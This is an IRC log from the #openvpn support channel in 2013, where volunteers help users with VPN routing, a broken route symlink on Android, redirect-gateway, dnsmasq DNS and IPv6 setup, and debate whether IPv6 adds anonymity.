21:43 -!- me0615 [~me0615@122.2.46.76] has quit []
21:44 < ccherrett> right now the client side openvpn client can ping all the server network, but machines on the lan behind it cannot ping the servers lan, what should I look at next?
21:44 < ccherrett> pekster: ^
21:45 < KrissO> !tunortap
21:45 < pekster> client side routes and firewalls
21:45 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
21:45 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
21:45 < pekster> ccherrett: And ipforwarding on the client, of course
21:46 < ccherrett> pekster: so on the client lan we have a firewall and the openvpn server is behind it
21:46 < ccherrett> we need to puch a hole right?
21:48 < pekster> Allow traffic you care about. No "hole punching." Configure it like a firewall on a router
21:48 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Excess Flood]
21:48 < ccherrett> pekster: sorry that is what I meant
21:49 < ccherrett> pekster: 33397 <- for client port?
21:49 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
21:49 < pekster> !notovpn
21:49 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
21:50 < ccherrett> pekster: ok :)
21:50 < pekster> If you need help with basic firewall configuration for your OS, this really isn't the place
21:50 < ccherrett> pekster: no I don't need that at all
21:50 < ccherrett> I understand how to forward ports
21:50 < pekster> That's not what I said
21:51 < pekster> You're exposing LANs; that means you're routing, and your *routers* need to be configured to allow the traffic you're forwarding
21:51 < ccherrett> pekster: ok
21:51 < pekster> Thus their firewalls need to. This has nothing to do with the port the VPN is encapsulating traffic over. The tunneled traffic is also seen by the kernel
21:54 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has left #openvpn ["Leaving"]
22:35 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
22:41 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
22:42 < me0615> guys I am now getting error Sun Mar 31 11:48:48 2013 /system/xbin/bb/route add -net x.x.x.x netmask 255.255.255.255 gw 192.168.0.1
22:42 < me0615> Sun Mar 31 11:48:48 2013 ERROR: Linux route add command failed: could not execute external program
22:42 < Poster> !script-security
22:42 < Poster> 0/2 =[
22:43 < Poster> so there is some security in recent versions prohibiting calling of external commands
22:43 < me0615> do I need to? on my other mobile phone, the config works even without script-security 2
22:43 < me0615> do I need to? on my other mobile phone, the config works even without script-security 2
22:43 < Poster> probably an older version
22:43 < Poster> you shouldn't need to call out to external commands to add a route
22:44 < Poster> try adding this in your client configuration
22:44 < me0615> so now I have to add script-security 2
22:44 < Poster> route x.x.x.x 255.255.255.255 192.168.0.1
22:44 < Poster> I wouldn't recommend it unless you have to
22:44 < Poster> adding routes is native, you don't need to execute external commands
22:45 < me0615> ah wait. i will need to add this route x.x.x.x 255.255.255.255 192.168.0.1 or script-security 2?
22:45 < me0615> because it is probable that 192.168.0.1 is not constant
22:45 < Poster> I'd leave script security alone
22:46 < me0615> and I am using this config on android mobile
22:46 < Poster> so the remote gateway address may change?
22:48 < me0615> yes
22:48 < Poster> are you connecting to different server systems?
22:49 < Poster> you might be better off pushing routes to the client instead of the client applying them if you don't know what the other side will be
22:49 < me0615> so route must be executed programmatically
22:49 < me0615> i need route to be executed programmatically
22:50 < Poster> you can tell the server to push routes to the client
22:50 < Poster> which is probably best if you don't know what the remote gateway address is going to be
22:50 < me0615> still not possible because really gw is changing by the isp
22:51 < Poster> ok let's back up
22:51 < me0615> anyway what causing this problem that route is not executed?
22:51 < Poster> what is it you're trying to accomplish?
22:53 -!- me0615 [~me0615@122.2.46.76] has quit [Remote host closed the connection]
22:53 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
22:53 -!- me0615 [~me0615@122.2.46.76] has quit [Client Quit]
22:53 < pekster> Poster: Routes are not "native." There's an explicit call to execve() to make the system call in the code. It calls whatever the OS command is to the proper utility
22:54 < Poster> right but it's not shelling out to /sbin/route requiring more lax script-security
22:54 < pekster> Nope, that's for scripts, not for the route call. script-security has nothing to do with calls to route
22:55 < Poster> [23:42:05] <me0615> guys I am now getting error Sun Mar 31 11:48:48 2013 /system/xbin/bb/route add -net x.x.x.x netmask 255.255.255.255 gw 192.168.0.1
22:55 < Poster> [23:42:08] <me0615> Sun Mar 31 11:48:48 2013 ERROR: Linux route add command failed: could not execute external program
22:55 < Poster> he was trying to call route directly
22:55 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
22:55 < pekster> That's what OpenVPN does
22:55 < pekster> Your information you've handed that person is pretty much entierly incorrect
22:55 < me0615> wait I was disconnected
22:56 < Poster> ok well go ahead and take over
22:56 < pekster> me0615: It doesn't really matter. All the info you got from Poster is essentially wrong. So, let's start over
22:56 < me0615> what was that again. I was disconnected guys
22:56 < pekster> me0615: --script-security has nothing to do with your situation (that's for script hooks. The route call is handled directly by a system call)
22:56 < me0615> please kindly repeat
22:56 < me0615> ok.
22:57 < me0615> then why am I having this route error pekster
22:57 < pekster> Do you have the route binary it's looking for? Can you open a shell and do: /system/xbin/bb/route --help
22:57 < pekster> me0615: You're having that error becuase it can't execute the command. Just like the error says
22:57 < me0615> let me try
23:00 < me0615> /system/xbin/bb/route: not found but awhile ago I just ln -s /system/xbin/route /system/xbin/bb/route
23:00 < me0615> and I checked on the /system/xbin/bb/ that route is existing there
23:01 < pekster> Android? /system is mounted ro generally, and you need to be rooted to change that
23:02 < me0615> yes /system is mounted as r/w now here. do I need to change that to R/O ?
23:02 < pekster> Nope, but your ln would have failed if it was ro
23:02 < pekster> The openvpn binary you have expects to find route at that location
23:03 < me0615> before i ln, i turned that to rw first.
23:03 < pekster> You said it doesn't exist now. Either it's there or not
23:03 < pekster> If it's not, it will break
23:04 < me0615> in what folder should that be?
23:04 < pekster> Where the error tells you
23:04 < pekster> Put the binary there, or rebuild your installation from source code with the proper location
23:05 < pekster> Or write a script to do it and use --route-noexec with a --route-up command
23:06 < pekster> This should be really simple. The program needs the route command, and has been compiled to expect it at the percise location: /system/xbin/bb/route
23:06 < pekster> If you do not have the program or a symlink to it at this location, invocation of that command will becuase it does not exist
23:07 < me0615> can you kindly correct my symlink. originally my route is in /system/xbin and i want to put that on /system/xbin/bb
23:07 < me0615> ln -s /system/xbin/route /system/xbin/bb/route this is correct ?
23:07 < pekster> Assuming route exists at the first location, yes
23:08 < pekster> Then this command should spit output: /system/xbin/bb/route --help
23:09 < me0615> which route tells /system/bin/route   wiw. what am i suppose to follow
23:11 < pekster> How did you get this installed? The openvpn-installer from the app store says it takes care of all of this for you
23:11 < pekster> Why are you hacking manually at something already done by someone else?
23:12 < me0615> openvpn-installer from android store. if you are here a while a going, I was having a problem on ifconfig and I have fixed that. now my problem is on route.
23:13 < me0615> what I did to fix the ifconfig problem is mkdir /system/xbin/bb and symlink ifconfig there
23:14 < pekster> The correct solution is to use openvpn-installer to point it to the proper path
23:14 < pekster> Why on earth would you muck around on the system fixing a problem you've created by not pointing to your system paths initially?
23:15 < pekster> Go nuts. Create all the symlinks you want to fix it. If they keep "disappearing" on you, it'll keep breaking every time they do
23:16 < me0615> ah pekster. openvpn-installer here gave me error on the ifconfig because it cant find the folder /system/xbin/bb and that is why i have to manually create that which krzee awhile ago gave me a link for that resolution.
23:17 < pekster> You probably just need to reconfigure openvpn-installer then
23:17 < pekster> The desscription in the play store says "It also symlinks ifconfig and route to /system/xbin/bb if necessary."
23:18 < pekster> Let it fix it for you. Or yes, fix it yourself I suppose if it's just the symlink you need
23:18 < me0615> no its not the symlink that i need. I need a total fix actually of the openvpn-installer as was the case in the reading that kzree gave me.
23:24 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: Sleep. || The Nightmares will collide. And become a Dream. <3]
23:24 -!- me0615 [~me0615@122.2.46.76] has quit []
23:31 -!- Seven_Six_Two [~do@unaffiliated/seven-six-two/x-9832417] has joined #openvpn
23:33 < Seven_Six_Two> I set up openvpn on my dd-wrt. I successfully initiated a connection from an outside internet connection, but I can't route. ifconfig shows the expected ip address on the separate subnet.
23:35 < Seven_Six_Two> tun0 is created on the router as well.
23:36 < Seven_Six_Two> my desktop (connected to router running openvpn) can route without issue. on laptop, network-manager-openvpn installed, and seems to be set correctly. Should I insert routes manually?
23:37 < pekster> routes to what? What's the goal?
23:37 < Seven_Six_Two> to the internet. I want to be able to route my browsing when away from home.
23:37 < pekster> !redirect
23:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:37 <@vpnHelper> http://ircpimps.org/redirect.png
23:38 < Seven_Six_Two> from my laptop (connected from internet) can ping tun0 on router.
23:38 < pekster> You're also far better off not using network-manager; it tends to hide all the useful troubleshooting aspects from you like being able to see your actual client config and getting helpful logs
23:38 < pekster> However, follow the steps in that output (there's a helpful flowchart to follow)
23:38 < Seven_Six_Two> pekster, I would agree. I was going for ease, since it's my first time with vpn.
23:39 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wfjcbreuytrwzpmo] has quit [Remote host closed the connection]
23:39 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-jmjreweocdsfzlzf] has quit [Remote host closed the connection]
23:39 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-sxozzyznejhupbfa] has quit [Remote host closed the connection]
23:39 -!- paccer [uid4847@gateway/web/irccloud.com/x-rddtsknqryrdgzqd] has quit [Remote host closed the connection]
23:39 -!- lmm [uid6417@gateway/web/irccloud.com/x-qvbfjbuxqfsglawf] has quit [Remote host closed the connection]
23:54 < Seven_Six_Two> I've rebooted the router a few times. Am I still here?
23:54 < pekster> Indeed
23:55 < Seven_Six_Two> Fantastic. Thanks for the flow chart. All is well, as I found instructions for openvpn and ddwrt that covers forwarding and dns. For ever grateful@
23:57 < Seven_Six_Two> now a quick question. I check my ip with whatismyip.com, and it returns the wan ip that openvpn is listening on, and that there is no proxy. Is the whole stream encrypted between my client and openvpn server?
23:58 < pekster> Yup, unless you explicitly disabled it
23:59 < Seven_Six_Two> I didn't, so that's excellent. Thanks again, and have a great evening!
23:59 < rob0> Hi Rob.
23:59 < rob0> (is that what "762" means?)
23:59 < Seven_Six_Two> full metal jacket
23:59 < rob0> OH
--- Day changed Sun Mar 31 2013
00:00 < rob0> I was thinking the numbers on the phone.
00:00 < Seven_Six_Two> not a flag waving, gun toting card-carrier. Just a film fan.
00:00 < rob0> When I picked my Google Voice number, I got one in area code 762. :)
00:01 < Seven_Six_Two> nice. I can't get it here.
00:32 -!- newbie|2 [~tjz@bb116-14-142-13.singnet.com.sg] has joined #openvpn
00:34 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
00:35 -!- joshie_ is now known as joshie
00:43 < ccherrett> pekster: got almost everything working
00:43 < ccherrett> enough to be dangerous
00:43 < ccherrett> thatnks for you help!
00:45 < pekster> Neat
00:56 -!- Seven_Six_Two [~do@unaffiliated/seven-six-two/x-9832417] has quit [Ping timeout: 246 seconds]
02:19 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:19 -!- mode/#openvpn [+o mattock_afk] by ChanServ
02:19 -!- mattock_afk is now known as mattock
02:22 -!- Rough_ [eMc2@114.31.8.194] has quit [Read error: Connection timed out]
02:22 -!- Rough_ [eMc2@114.31.8.194] has joined #openvpn
03:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:07 < jzaw> ping pekster
03:08 < jzaw> or indeed anyone else
03:08 < jzaw> checking my routing
03:08 < jzaw> from without of either of my lans/networks
03:08 < jzaw> would there be a reason why tracepath6 would see my tap0 but tracepath wouldnt ?
03:09 < jzaw> in both cases tap0 has a publically routable addy
03:15 < jzaw> http://pastebin.com/yw4cDxik
03:15 < jzaw> tracepath and tracepath6 ^^^
03:25 -!- saneki [~saneki@cpe-70-124-83-150.austin.res.rr.com] has quit [Quit: :q]
03:48 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has joined #openvpn
04:00 -!- mattock is now known as mattock_afk
04:02 -!- uberushaximus [~uberushax@hacked.thegov.us] has quit [Read error: Operation timed out]
04:03 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Remote host closed the connection]
04:04 -!- uberushaximus [~uberushax@hacked.thegov.us] has joined #openvpn
04:30 -!- ade_b [~Ade@koln-5d81557a.pool.mediaWays.net] has joined #openvpn
04:30 -!- ade_b [~Ade@koln-5d81557a.pool.mediaWays.net] has quit [Changing host]
04:30 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:46 -!- furyFoo [~fury@109.166.138.24] has joined #openvpn
04:53 < furyFoo> Hey does anyone know a installation/configuration guide for OpenVPn 2.3 on CentOS 6 ?
04:53 < furyFoo> I used to go with this guide  - http://servertutz.wordpress.com/2011/08/14/installing-openvpn-on-centos/
04:53 < furyFoo> But now that's obsolete and I keep running into problem after problem . Does anyone know any up to date guides ?
04:53 <@vpnHelper> Title: Installing OPENVPN 2.1.3 on CentOS 6 | Server Tutorial (at servertutz.wordpress.com)
05:12 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
05:19 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
05:22 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
05:28 -!- tcamuso [~tcamuso@pool-71-161-81-220.cncdnh.east.myfairpoint.net] has joined #openvpn
05:42 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
05:45 < furyFoo> Does anyone have a guide on how to install/configure the "openvpn-auth-pam" module ?
05:45 -!- Orbi [~opera@anon-186-207.vpn.ipredator.se] has left #openvpn []
05:50 -!- mcp [~mcp@wolk-project.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:58 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 255 seconds]
05:59 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
06:03 -!- master_o1_master [~master_of@p4FF24F95.dip.t-dialin.net] has joined #openvpn
06:03 -!- julius_ [~julius@p3EE2AF41.dip0.t-ipconnect.de] has joined #openvpn
06:03 < julius_> hi
06:04 < julius_> got a routing question, its a bit longer so i pasted it:   http://pastebin.ca/2346249
06:05 < julius_> no firewall settings are used on the openvpn server
06:06 -!- master_of_master [~master_of@p4FF24AB8.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
06:13 -!- furyFoo [~fury@109.166.138.24] has quit [Ping timeout: 260 seconds]
06:31 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:33 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 256 seconds]
06:37 -!- furyFoo [~fury@109.166.133.223] has joined #openvpn
06:38 < furyFoo> Does anyone know how to add "openvpn-auth-pam" to version 2.3 / CentOS 6 - 64 bit ?
06:39 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
06:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Connection reset by peer]
06:52 -!- furyFoo [~fury@109.166.133.223] has quit [Ping timeout: 252 seconds]
07:03 -!- furyFoo [~fury@109.166.137.138] has joined #openvpn
07:06 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
07:13 -!- furyFoo [~fury@109.166.137.138] has left #openvpn []
07:13 -!- tcamuso [~tcamuso@pool-71-161-81-220.cncdnh.east.myfairpoint.net] has quit [Ping timeout: 260 seconds]
07:16 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 252 seconds]
07:16 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
07:20 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
07:21 < hrenovo> hi. I have VPN set up with redirect. Win7 is the client. My router's port forwarding is no longer valid becaseu all traffic is now redirected to openvpn TAP adapter. What is a method now to forward ports ?
07:23 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
07:32 < hrenovo> !forwarding
07:32 < hrenovo> !forward
07:32 < hrenovo> !porforward
07:32 < hrenovo> anyone ?
07:34 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 256 seconds]
07:41 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
07:50 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 252 seconds]
07:56 -!- njbair [~njbair@user-12l369d.cable.mindspring.com] has quit [Ping timeout: 258 seconds]
07:56 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-fvngcxyivybmxzrf] has joined #openvpn
07:57 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
08:18 -!- paccer [uid4847@gateway/web/irccloud.com/x-fuhvmuewsewqosqb] has joined #openvpn
08:18 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-uvvdxxxitmkzrjzy] has joined #openvpn
08:25 -!- u0m3_ [~Radu@92.80.108.22] has quit [Read error: Connection reset by peer]
08:29 -!- u0m3 [~Radu@109.96.143.230] has joined #openvpn
08:33 -!- u0m3 [~Radu@109.96.143.230] has quit [Read error: Connection reset by peer]
08:37 -!- u0m3 [~Radu@92.80.103.84] has joined #openvpn
08:47 -!- lmm [uid6417@gateway/web/irccloud.com/x-qqqpgzbjnutctnyt] has joined #openvpn
08:54 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-qzrzmacjtvmhecvl] has joined #openvpn
09:08 <@EugeneKay> Nobody but us rocks.
09:08 <@EugeneKay> When you say "forward ports", you mean so that $APPLICATION on the client can be reached from the outside?
09:09 <@EugeneKay> You can do this with a port-forward on the server.
09:10 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-tqsehbizhqmabbvz] has joined #openvpn
09:11 -!- HectorBarbossa_ is now known as HectorBarbossa
09:13 -!- ade_b [~Ade@koln-5d81557a.pool.mediaways.net] has joined #openvpn
09:13 -!- ade_b [~Ade@koln-5d81557a.pool.mediaways.net] has quit [Changing host]
09:13 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:13 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
09:29 -!- digilink [~digilink@70.90.228.197] has joined #openvpn
09:29 -!- digilink [~digilink@70.90.228.197] has quit [Changing host]
09:29 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
09:45 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
09:49 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:58 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
10:07 -!- furyFoo [~fury@109.166.137.138] has joined #openvpn
10:20 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
10:21 < Moonlightning> !welcome
10:21 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
10:21 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:21 -!- brute11k [~brute@89.249.231.25] has joined #openvpn
10:21 < Moonlightning> !goal
10:21 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:24 < Moonlightning> Ahm, okay. I already have a working VPN. I followed /this/ guide ( http://rob0.nodns4.us/dnsmasq.html ) to set up dnsmasq on the VPN server (just one server, no server LAN), and I'm not sure as to what I should be doing next.
10:24 <@vpnHelper> Title: DNS in OpenVPN: a better approach (at rob0.nodns4.us)
10:26 < Moonlightning> My VPN has two /24 subnets, one for machines with reserved IPs and one for those without. I want full hostnames to resolve to VPN IPs, with different domains for the two different subnets and the forward being the machine's hostname.
10:27 < Moonlightning> For example, if a client1 joins the VPN and has a reserved IP 192.168.242.71, client1.vpn.foo.com should resolve to 192.168.242.71
10:29 < furyFoo> !goal Implement IPv6
10:30 < Moonlightning> …? ^
10:30 < furyFoo> Didn't expect that to work .
10:30 < furyFoo> Did anyone managed to implement  IPv6 on version2.3 ?
10:32  * Moonlightning wonders if he was clear and specific enough.
10:33 < Moonlightning> With all the long things to read XD
10:33 < furyFoo> @Moonlight , you can reserve a different IP for each client . Is that what you're looking for ?
10:33 < Moonlightning> At least it's all on IRC. Thanks. ^^
10:33 < Moonlightning> furyFoo: err, no…that's all set up. I just need DNS now.
10:34 < furyFoo> Why would you want custom DNS ? Just because ?
10:34 < Moonlightning> Yep. :D
10:34 < furyFoo> :))
10:34 < Moonlightning> Also because some ponies who use the VPN can't remember IPs as well as I can. XD
10:34 < furyFoo> Did you ever manged to set-up IPv6 ?
10:34 < Moonlightning> Me?
10:35 < furyFoo> Yea , you .
10:35 < Moonlightning> Ahmm, no, I don't think so.
10:36 < furyFoo> So I'm the only one that thinks it would be awesome to give your clients the anonymity offered by 18 pentalion IPv6s ?
10:36 < Moonlightning> XD
10:36 < MacGyver> Nothing really anonymous about that.
10:36 < Moonlightning> It's a /private/ VPN.
10:37 < Moonlightning> …which is actually redundant LOL
10:37 < MacGyver> Unless you enable privacy extensions, which sometimes break things.
10:37 < furyFoo> I'm thinking to reduce the logs to nill one by one .
10:37 < Moonlightning> Anyway, it's just a smallish thing between friends, we don't need anonymity.
10:37 < Moonlightning> But, sure, IPv6, why not. XD
10:37  * Moonlightning is kind of intimidated by full IPv6 addresses though o.o
10:38 < Moonlightning> How long can they get again?
10:39 < furyFoo> @MacGyver - The DC doesn't have the tools to look up who connected to who . So if any malicious persons would try to seek out who's who they would have to look harder . At least that the theory .
10:39 < MacGyver> 128 bits. Eight groups of 4 digits.
10:39 < Moonlightning> ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
10:39 < Moonlightning> o.o;
10:39 < jzaw> furyFoo, ipv6 is one of the main reasons i wanted a vpn back home (where i have native)
10:39 <@EugeneKay> IPv6 isn't anything to be afraid of
10:40 <@EugeneKay> Only the first half takes memorizing
10:40 <@EugeneKay> The second half is usually mostly zeros
10:40  * jzaw kuddles his ipv6 
10:40 < furyFoo> I'm thinking that would be great for political dissidents and people under abusive surveillance .
10:40 < MacGyver> furyFoo: You'd be wrong.
10:41 < MacGyver> furyFoo: The sheer number of addresses does not add much privacy. In fact, the way SLAAC works, it's actually *less* anonymous than IPv4.
10:41 < Moonlightning> c3d0:86a9:249b:1d39:da5d:a7c1:c710:a2a4
10:41 < Moonlightning> oml
10:41 < Moonlightning> how's anypony gonna remember that? o.o
10:41 <@EugeneKay> DNS
10:41 < jzaw> simple ip -6 neigh show ... and you know what ips are there
10:42 < Moonlightning> Only the first half, you say?
10:42 < Moonlightning> c3d0:86a9:249b:1d39::9d
10:42 < Moonlightning> still looks pretty hard o.o
10:43 < MacGyver> It is. Which is why we have DNS.
10:43 < Moonlightning> Yepp. XD
10:43 < jzaw> easyname.mydomain.world
10:43 < Moonlightning> So, uh, about setting up DNS.
10:44 < jzaw> doesnt your isp give you that? ;)
10:44 < jzaw> change isp :P
10:44 < furyFoo> @MacGyver - so the idea itself is flawed or my way of implementing it ?
10:44 < furyFoo> I mean the client's IP comes in the gargantuan DC . The server already hosts a few dozen websites so it can loose itself among those and then it comes out as a random IPv6 so it could be anyone from my clients .
10:44 < furyFoo> Which pay by Bitcoin so even I don't know who they are .
10:44 < jzaw> Moonlightning, mostly in the uk when you buy a domain name .... you get dns thrown in
10:44 < jzaw> of course you can run you own
10:44 < Moonlightning> Yeah, but I want DNS for my VPN. XD
10:45 < jzaw> dyndns do v6 also
10:46  * Moonlightning posted a whole big thing way up on the scrollback, did anyone even read it? o.o
10:46 < jzaw> which bit?
10:47 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:48 < Moonlightning> The three lines describing my `!goal`?
10:51 < MacGyver> furyFoo: And how is that situation any different than how you'd do it with IPv4?
10:51 < Moonlightning> Right after I joined, I read the topic, did `!welcome`, then `!goal`, then posted a three-line reply, starting at 08:24:29 PDT.
10:51 < MacGyver> Moonlightning: Yeah, I read it. I don't have an answer though.
10:51 < Moonlightning> 6_9
10:51 < MacGyver> Moonlightning: It seems that your question is listed as a todo on the site you linked.
10:52 < Moonlightning> Gah.
10:52 < MacGyver> I've got this working for my normal network, but that's because dnsmasq is also doing my DHCP - which isn't the case when using OpenVPN.
10:53 < MorgyN> Is there a theme of 80s tv shows I'm missing out on?
10:53  * MorgyN sets nick: airwolf
10:53 < Moonlightning> Well. Until that's done, I'll settle for just writing hostnames and IPs to a file on the server and having those resolve. How do I do that?
10:54 < MacGyver> MorgyN: I've gone by this nickname for more than a decade now, I think I can safely claim it's not a fad.
10:54 < Moonlightning> Oh, wait. Never mind, I think I got it.
10:55 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
10:55 < furyFoo> Well I'm hoping that the 18 pentalion IPv6s would mean that the server getting the request from the VPN server would have a harder time collecting IP pattern and determining who's behind the VPN .
10:55 < furyFoo> I guess they could block my entire IPv6 block if we're talking censorship but most systems only go to IP level . Hell most of them don't even know what to do with a IPv6 .
10:55 < furyFoo> At least this is the theory .
10:56 < furyFoo> BTW thanks for your answers so far . I'm no expert when it comes to networks .
10:56 < MacGyver> Your theory is flawed. Assume that the authorities know how to handle IPv6. Assume that they know how your system works. Then build it so even though they know that, privacy is ensured.
10:58 < MacGyver> I don't know why you're doing this, or for whosm, but lives have been lost because people who didn't know what they're doing were building broken privacy-enhancing stuff and marketing it as a revolution in anonymity for dissenters in less-than-democratic countries.
11:00 < furyFoo> I have some friends in Iran that hate censorship and I have some friends in the UK that like anonymity .
11:00 < furyFoo> As long as they don't break the local laws - everything is perfectly legal and they don't have to fear that their personal details would end up in the wrong hands .
11:02 < furyFoo> That's why I'm doing this and hopefully it might help offset the server cost if I can get a few clients on the VPN .
11:03 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 255 seconds]
11:03 < furyFoo> IPv4 has tons of guides and info . IPv6 is like talking about the lottery numbers - everyone heard of it , few have actually won .
11:08 -!- furyFoo [~fury@109.166.137.138] has quit [Ping timeout: 252 seconds]
11:08 -!- furyFoo [~fury@ks4000363.ip-198-245-61.net] has joined #openvpn
11:09 < furyFoo> Hell right now I can't even figure out how to add the entire /64 block to the server . IDK if that's even possible .
11:09 < furyFoo> I went to the CentOS IRC and there was plenty of confusion .
11:11 < furyFoo> So if you know any good guides regarding OpenVPN and IPv6 feel free to post the links .
11:11 < furyFoo> They would be more then welcomed .
11:16 <@EugeneKay> It works the same as IPv4, but uses v6 addressing. Read the man page and the howto.
11:16 <@EugeneKay> If you want to learn how v6 works, I recommend HE's Sage program. They even send you a free t-shirt after you complete it.
11:17 < MacGyver> Mine's too small :(
11:18 < MacGyver> (I guessed my size because US and European sizes are different.)
11:18 < furyFoo> You got Sage level ?
11:18 < furyFoo> Sweet
11:19 <@EugeneKay> Give it to a girlfriend
11:31 -!- julius_ [~julius@p3EE2AF41.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
11:41 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 255 seconds]
11:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:42 -!- mode/#openvpn [+o krzee] by ChanServ
11:43 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
11:57 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
12:04 -!- furyFoo [~fury@ks4000363.ip-198-245-61.net] has quit [Ping timeout: 256 seconds]
12:14 -!- Rough_ [eMc2@114.31.8.194] has quit [Quit: Leaving]
12:21 < Moonlightning> …nope, I don't got it.
12:28 < Moonlightning> I put `no-hosts` and `addn-hosts` directives in `dnsmasq`s config file, but DNS doesn't seem to be working…
12:42 -!- mistik1 [~mistik1@unaffiliated/mistik1] has quit [Ping timeout: 255 seconds]
12:43 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
12:49 -!- mistik1 [~mistik1@184.170.12.239] has joined #openvpn
13:14 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 245 seconds]
13:16 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
13:17 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 246 seconds]
13:29 -!- Moonlightning [~blackl@108-254-145-35.lightspeed.sntcca.sbcglobal.net] has joined #openvpn
13:29 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
13:32 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
13:32 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds]
